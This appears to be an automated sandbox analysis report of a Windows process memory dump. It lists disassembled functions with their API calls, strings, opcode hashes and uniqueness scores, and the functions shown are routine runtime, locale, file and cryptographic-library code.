Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Library$Load$ErrorFreeLast
String ID:
API String ID: 3813093105-0
Opcode ID: 11fddf9e7ae08532b5839c876b60e1e72144605b5025b9c7e37c2383ff0aaa10
Instruction ID: f40531ef27b73f6f98b5e95e805b8d12b705019d31e8779410cda4aefb8a83e9
Opcode Fuzzy Hash: 11fddf9e7ae08532b5839c876b60e1e72144605b5025b9c7e37c2383ff0aaa10
Instruction Fuzzy Hash: FE0170326052239BC7384B38EC489D6775E9F487707210638F945D7541D731DCC2C6E0

Uniqueness

Uniqueness Score: 0.04%

Function 000C9630, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149UNIQUE

Download Yara Rule

APIs

___std_type_info_name.LIBVCRUNTIME ref: 000C9678

Part of subcall function 001042A5: ___unDName.LIBVCRUNTIME ref: 001042D1
Part of subcall function 001042A5: InterlockedPushEntrySList.KERNEL32(DB2C627E,DB2C627E,?,?,?,?,?,?,?,?,?,DB2C627E), ref: 0010434A

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

ThisPointer:, xrefs: 000C98DD, 000C9919
ThisObject:, xrefs: 000C969A

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: EntryFeatureInterlockedListNamePresentProcessorPush___raise_securityfailure___std_type_info_name___un
String ID: ThisObject:$ThisPointer:
API String ID: 2478894562-4169739740
Opcode ID: d350ea5a218b7772d05cf2515d00b8f515b260eeb71fd42aca007d9eda37386f
Instruction ID: 60eb1a5cb5babc5eaeeb8ec8cbe086d99b56486ec954e0f32fd972d14b666d15
Opcode Fuzzy Hash: d350ea5a218b7772d05cf2515d00b8f515b260eeb71fd42aca007d9eda37386f
Instruction Fuzzy Hash: A751E0719042489FDB14CFA8C889BEEBBB1EF55310F14821DE415A77C2DBB19A85CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000AAAC0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31UNIQUE

Download Yara Rule

APIs

MoveFileExW.KERNEL32(?,?,00000003), ref: 000AAAE2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AAAEC

Part of subcall function 000AA1A0: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA26A

Strings

boost::filesystem::rename, xrefs: 000AAAF6

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorException@8FileLastMoveThrow
String ID: boost::filesystem::rename
API String ID: 2666395733-2110873845
Opcode ID: ca57ecd382c57b1af10e45221ec3886126134b9a0e7e7b45d26d8dad3c59c55e
Instruction ID: ad477a3ed3d9bb5936b8a28e1ca13199cef5b2b7bdeb492accb791b65e610ba6
Opcode Fuzzy Hash: ca57ecd382c57b1af10e45221ec3886126134b9a0e7e7b45d26d8dad3c59c55e
Instruction Fuzzy Hash: 03F0A030304200AFD6244F58ED0C92BBBE9EFA7751F00041CF88583280D330D981DBA3

Uniqueness

Uniqueness Score: 100.00%

Function 0011D3BB, Relevance: 4.7, APIs: 3, Instructions: 186fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0011CF60: GetConsoleMode.KERNEL32(00000010,?), ref: 0011CFC5

Part of subcall function 0011CD40: GetConsoleCP.KERNEL32 ref: 0011CD82
Part of subcall function 0011CD40: __fassign.LIBCMT ref: 0011CDFD
Part of subcall function 0011CD40: __fassign.LIBCMT ref: 0011CE18
Part of subcall function 0011CD40: WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 0011CE3E
Part of subcall function 0011CD40: WriteFile.KERNEL32(?,?,00000000,0011D4B5,00000000), ref: 0011CE5D
Part of subcall function 0011CD40: WriteFile.KERNEL32(?,?,00000001,0011D4B5,00000000), ref: 0011CE96
Part of subcall function 0011CD40: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0011D4B5,?,?,?,?,?,?), ref: 0011CED8

Part of subcall function 0011CEF3: GetLastError.KERNEL32(?,?,?,?,?,0011D49D,?,?,?,?,?,?,?,?,00000000,0016C530), ref: 0011CF4F

Part of subcall function 0011D1A3: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,?,?,?,?,0011D502,?,?,?), ref: 0011D256
Part of subcall function 0011D1A3: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0011D284
Part of subcall function 0011D1A3: GetLastError.KERNEL32(?,0011D502,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D2B5

Part of subcall function 0011D0B5: WriteFile.KERNEL32(00051313,?,?,?,00000000), ref: 0011D15F
Part of subcall function 0011D0B5: GetLastError.KERNEL32(?,0011D4F2,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D188

Part of subcall function 0011CFD6: WriteFile.KERNELBASE(00051313,?,?,?,00000000), ref: 0011D071
Part of subcall function 0011CFD6: GetLastError.KERNEL32(?,0011D512,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D09A

WriteFile.KERNEL32(00051313,?,?,?,00000000), ref: 0011D52D
GetLastError.KERNEL32 ref: 0011D537
__dosmaperr.LIBCMT ref: 0011D573

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorFileLastWrite$ByteCharConsoleMultiWide__fassign$FeatureModePresentProcessor___raise_securityfailure__dosmaperr
String ID:
API String ID: 585494540-0
Opcode ID: 39561feb35daa957e780b726269476c509f1b65ec93addf032f14fc455016ebc
Instruction ID: e68645a730fe2b981edef5b00105a13771f6f284c6ee8e3db48e6822078cc3eb
Opcode Fuzzy Hash: 39561feb35daa957e780b726269476c509f1b65ec93addf032f14fc455016ebc
Instruction Fuzzy Hash: 4251F471E0020A9FDF29DFA4E845FEE7BB5AF55314F140129F404A7692D770A981CBA1

Uniqueness

Uniqueness Score: 8.94%

Function 00051030, Relevance: 4.5, APIs: 3, Instructions: 27networkCOMMON

Download Yara Rule

APIs

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

InterlockedIncrement.KERNEL32(0017A4B8), ref: 0005105C
WSAStartup.WS2_32(00000002,00000000), ref: 0005106D
InterlockedExchange.KERNEL32(0017A4BC,00000000), ref: 00051079

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Interlocked$ExchangeFeatureIncrementPresentProcessorStartup___raise_securityfailure__onexit
String ID:
API String ID: 480614849-0
Opcode ID: a59e81cad738d8115df34bab4e2e61b8b9a1dbd095fd9713657ead622af53d42
Instruction ID: 9d273c464cbf9a3d4eb1b993ccaf5bb63ce9faf5e08bf2c32fd3646f739474fc
Opcode Fuzzy Hash: a59e81cad738d8115df34bab4e2e61b8b9a1dbd095fd9713657ead622af53d42
Instruction Fuzzy Hash: A5F0E5315403004BD220AB60EC0BABE33A8FF49300FC0011DF95EC15C1EBA1544486D3

Uniqueness

Uniqueness Score: 5.06%

Function 000E2B08, Relevance: 4.5, APIs: 3, Instructions: 17UNIQUE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 000E2B0F
_Getvals.LIBCPMT ref: 000E2B2B

Part of subcall function 000DBB77: __Getcvt.LIBCPMT ref: 000DBB89
Part of subcall function 000DBB77: _Maklocstr.LIBCPMT ref: 000DBBA8
Part of subcall function 000DBB77: std::_Locinfo::_Getmonths.LIBCPMT ref: 000DBBBB
Part of subcall function 000DBB77: _Maklocstr.LIBCPMT ref: 000DBBC1
Part of subcall function 000DBB77: _Maklocstr.LIBCPMT ref: 000DBBD0

__Getdateorder.LIBCPMT ref: 000E2B30

Part of subcall function 000ECDE7: ___crtGetLocaleInfoEx.LIBCPMT ref: 000ECE02

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Maklocstr$GetcvtGetdateorderGetmonthsGetvalsH_prolog3_catchInfoLocaleLocinfo::____crtstd::_
String ID:
API String ID: 976863156-0
Opcode ID: 19190fe686f71102c5c8c50d382fdda34d179b19948677abab11e6ab59c596d9
Instruction ID: fcb1d25e3a49b3b5407dd1bcef897b53db6315388d1d87d34bc75bbdb54a53d9
Opcode Fuzzy Hash: 19190fe686f71102c5c8c50d382fdda34d179b19948677abab11e6ab59c596d9
Instruction Fuzzy Hash: FBE0E6F0C00740DEC760EF76990558A7EF4EF04310B01896FA449EB702D7719600CB51

Uniqueness

Uniqueness Score: 100.00%

Function 000B2DB0, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 385UNIQUE

Download Yara Rule

APIs

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000B31C0

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

FilterWithBufferedInput, xrefs: 000B3197

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: FilterWithBufferedInput
API String ID: 654547538-4021797063
Opcode ID: 58018ffc9af063d7f5e8bb62af6cdb1e1e47c03040767d19d87c8aeb739c8427
Instruction ID: cbeb3ddfdb4376403af012bd127702114c49259441f66e56155af2d325349c3e
Opcode Fuzzy Hash: 58018ffc9af063d7f5e8bb62af6cdb1e1e47c03040767d19d87c8aeb739c8427
Instruction Fuzzy Hash: 69E13971A007099FCB24DFA9C984AAEBBF6FF88300F14492DE1469B655DB31F945CB90

Uniqueness

Uniqueness Score: 100.00%

Function 00121377, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,00000000,00000000), ref: 0012139C

Part of subcall function 0012265C: MultiByteToWideChar.KERNEL32(001522A0,00000000,0000007F,001471E8,00000000,00000000,8B56FF8B,00119E14,?,001522A0,00000001,001471E8,0000007F,?,8B56FF8B,00000001), ref: 001226A9
Part of subcall function 0012265C: __alloca_probe_16.LIBCMT ref: 001226E1
Part of subcall function 0012265C: MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00122732
Part of subcall function 0012265C: GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00122744
Part of subcall function 0012265C: __freea.LIBCMT ref: 0012274D

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

, xrefs: 001213E1

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharMultiWide$FeatureInfoPresentProcessorStringType___raise_securityfailure__alloca_probe_16__freea
String ID:
API String ID: 3479193368-3916222277
Opcode ID: 1e24016622b95d5ea45319ce03cc58a96e751b1b517afa54c1a1ad7c6f9ab4d9
Instruction ID: d75079671f228d170d08718c9eb09ec1cf8d673e8f658ab7dbf0fbe8805dd07c
Opcode Fuzzy Hash: 1e24016622b95d5ea45319ce03cc58a96e751b1b517afa54c1a1ad7c6f9ab4d9
Instruction Fuzzy Hash: 22415D705043ACAADF25CE64DC84AF6BBAAEF65308F1404EDE58E87142D335A955CF60

Uniqueness

Uniqueness Score: 0.05%

Function 000B59B0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93UNIQUE

Download Yara Rule

APIs

Part of subcall function 00092E60: __CxxThrowException@8.LIBVCRUNTIME ref: 00092EE6

__CxxThrowException@8.LIBVCRUNTIME ref: 000B5AC5

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

MontgomeryRepresentation: Montgomery representation requires an odd modulus, xrefs: 000B5A9F

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: MontgomeryRepresentation: Montgomery representation requires an odd modulus
API String ID: 654547538-124676765
Opcode ID: 5da273696bba55a5bb802f5d1dd90724a4b2c615a34721b01dc3dd67382d6144
Instruction ID: c8e58a87730deded1f3764488cd325845dee6cc66d17159cfcb9f9d2328e13af
Opcode Fuzzy Hash: 5da273696bba55a5bb802f5d1dd90724a4b2c615a34721b01dc3dd67382d6144
Instruction Fuzzy Hash: 0231AB70900A4AFFDB01DFA4C845BDAFBF8FF15314F00415AE411A7692EBB1AA24CB90

Uniqueness

Uniqueness Score: 100.00%

Function 00092E60, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48UNIQUE

Download Yara Rule

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000B3B40: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3B9E

__CxxThrowException@8.LIBVCRUNTIME ref: 00092EE6

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

AllocatorBase: requested size would cause integer overflow, xrefs: 00092EBD

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: AllocatorBase: requested size would cause integer overflow
API String ID: 654547538-10355266
Opcode ID: 4e773aecd7c243939f76a067400f1e06021cae70ff3ffdde3254399a9c21f7c8
Instruction ID: 1dda090317e6c44bd10ffef0ba0ae52bb92ddabbf892cc6d9923316d993117d1
Opcode Fuzzy Hash: 4e773aecd7c243939f76a067400f1e06021cae70ff3ffdde3254399a9c21f7c8
Instruction Fuzzy Hash: BD018471900248ABCB10EFA4DC41FEEB7B8FB08710F50062AE812A76C1DB74A505C690

Uniqueness

Uniqueness Score: 100.00%

Function 0011F64A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 0011EF61: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1
Part of subcall function 0011EF61: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

LCMapStringW.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,00000001,?,00126C78,00126C78,?,?), ref: 0011F6BB

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

LCMapStringEx, xrefs: 0011F65B, 0011F665

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressFeaturePresentProcProcessorString___raise_securityfailure__crt_fast_encode_pointer
String ID: LCMapStringEx
API String ID: 2256333014-3893581201
Opcode ID: cfe5ef5f952f4d227824b5a9d6ccbb0df0fab7e8efc586398662575759651af5
Instruction ID: e01b61700afc56daf7846b2b88b5a6bb67520d931d09c09d0bb947db6f619460
Opcode Fuzzy Hash: cfe5ef5f952f4d227824b5a9d6ccbb0df0fab7e8efc586398662575759651af5
Instruction Fuzzy Hash: EA01C232540209BBCF169F90DC06DEE3FA2EF08760F414128FE1866170CB7299B2EB85

Uniqueness

Uniqueness Score: 0.11%

Function 000B3DE0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43UNIQUE

Download Yara Rule

APIs

Part of subcall function 000DAA35: std::_Lockit::_Lockit.LIBCPMT ref: 000DAA5E
Part of subcall function 000DAA35: std::_Lockit::~_Lockit.LIBCPMT ref: 000DAA86

__CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

?2, xrefs: 000B3E23, 000B3E30, 000B3E33

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Lockitstd::_$ExceptionException@8Lockit::_Lockit::~_RaiseThrow
String ID: ?2
API String ID: 51420344-1155176298
Opcode ID: 5c8cc903bf3bf14b42c7495ae8fd80cae57eae35a28830d693f982fe468ad66f
Instruction ID: 6af2238684aed59a5e3978dff66f1d627d1c4264b788be646a9be1a7038a3770
Opcode Fuzzy Hash: 5c8cc903bf3bf14b42c7495ae8fd80cae57eae35a28830d693f982fe468ad66f
Instruction Fuzzy Hash: 03F0EC72E0011927C55472A96D07BEFB79C4F91750F040176FD1896253FF94E665C1E3

Uniqueness

Uniqueness Score: 100.00%

Function 0011F51B, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 0011EF61: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1
Part of subcall function 0011EF61: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

InitializeCriticalSectionAndSpinCount.KERNELBASE(00000000,00000FA0,0016F2A0,00000FA0,00000000,B2AB117A,?,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,DB2C627E), ref: 0011F566

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

InitializeCriticalSectionEx, xrefs: 0011F52C, 0011F536

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressCountCriticalFeatureInitializePresentProcProcessorSectionSpin___raise_securityfailure__crt_fast_encode_pointer
String ID: InitializeCriticalSectionEx
API String ID: 1759818647-3084827643
Opcode ID: 9fc2d04763d79cd922421a9395c0513a2b49c35cb0ddce84297523b0b8cefa04
Instruction ID: 36bfc79246fec8bc7c82a3a8f6945448be2b63fb7521bb35456563581800b1ee
Opcode Fuzzy Hash: 9fc2d04763d79cd922421a9395c0513a2b49c35cb0ddce84297523b0b8cefa04
Instruction Fuzzy Hash: 0EF0B43164420CBBCF156F60DC06DEE7FA1EF08B60B404029FD19562A0CB725A52DA80

Uniqueness

Uniqueness Score: 0.06%

Function 0011F1A7, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0011EF61: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1
Part of subcall function 0011EF61: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

TlsAlloc.KERNEL32 ref: 0011F1E6

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

FlsAlloc, xrefs: 0011F1B8, 0011F1C2

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressAllocFeaturePresentProcProcessor___raise_securityfailure__crt_fast_encode_pointer
String ID: FlsAlloc
API String ID: 3355930294-671089009
Opcode ID: 48cb254caa1c9ce687e046f61a3942ca84c0e23beeb5fc594e3ea92a999efe67
Instruction ID: 839d9d222eadd7c653f02899fcd3929e87ab524063db5a90d6f90b43a972455e
Opcode Fuzzy Hash: 48cb254caa1c9ce687e046f61a3942ca84c0e23beeb5fc594e3ea92a999efe67
Instruction Fuzzy Hash: 4CE05531A84218BBC319AFA0DC069BEBBA4DF08B10B8002B9FC0563690CF711E4286C5

Uniqueness

Uniqueness Score: 0.09%

Function 0011F3EE, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0011EF61: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1
Part of subcall function 0011EF61: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

GetSystemTimeAsFileTime.KERNEL32(00000000,00111484), ref: 0011F42D

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0011F3FF, 0011F409

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
